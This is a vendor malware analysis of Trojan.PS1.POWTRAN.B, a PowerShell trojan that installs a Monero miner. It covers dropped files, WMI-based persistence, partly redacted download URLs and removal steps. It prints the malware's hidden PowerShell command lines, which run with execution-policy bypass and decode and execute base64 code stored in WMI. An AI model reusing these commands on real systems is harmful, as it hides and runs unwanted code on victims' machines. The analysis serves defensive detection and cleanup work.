Trojan.PS1.POWTRAN.B

March 27, 2020
 Analysis by: Elton Rondero
 ALIASES:

PowerShell/Agent.LY trojan(NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

6,737 bytes

Memory Resident:

Yes

Initial Samples Received Date:

26 Feb 2020

Payload:

Drops files, Terminates processes, Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %System%\WindowsPowerShell\v1.0\WinRing0x64.sys -> Allows XMRig to boost mining capability
  • %System%\mue.exe

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It adds the following processes:

  • If the sample is executed on Windows 10:
    • powershell -NoP -NonI -exec bypass `"`$fun='{base 64 encoded script}';`$defun=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$fun));iex `$defun;`$mon = ([WmiClass] 'root\default:systemcore_Updater6').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:systemcore_Updater6').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')"
  • If the sample is executed other than Windows 10:
    • powershell -NoP -NonI -W Hidden -exec bypass "$mon = ([WmiClass] 'root\default:systemcore_Updater6').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater6').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"
  • netstat -anop tcp

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • powershell.exe and schtasks.exe that have an ESTABLISHED network connection via port 3333, 5555, 7777

Download Routine

This Trojan accesses the following websites to download files:

  • http://{BLOCKED}bcv.net/banner
  • http://{BLOCKED}kbcv.net/sync
  • https://raw.{BLOCKED}usercontent.com/upinfoarch/up/master/domtar

Other Details

This Trojan does the following:

  • It uses Windows Management Instrumentation (WMI) to do the following:
    • It creates the following WMI Class under root\default:
      • systemcore_Updater6
        • WMI objects:
          • mons = base-64 encoded Monero Executable
          • ring = base-64 encoded Monero module

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.768.03

FIRST VSAPI PATTERN DATE:

27 Mar 2020

VSAPI OPR PATTERN File:

15.769.00

VSAPI OPR PATTERN Date:

28 Mar 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  %System%\WindowsPowerShell\v1.0\WinRing0x64.sys

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.PS1.POWTRAN.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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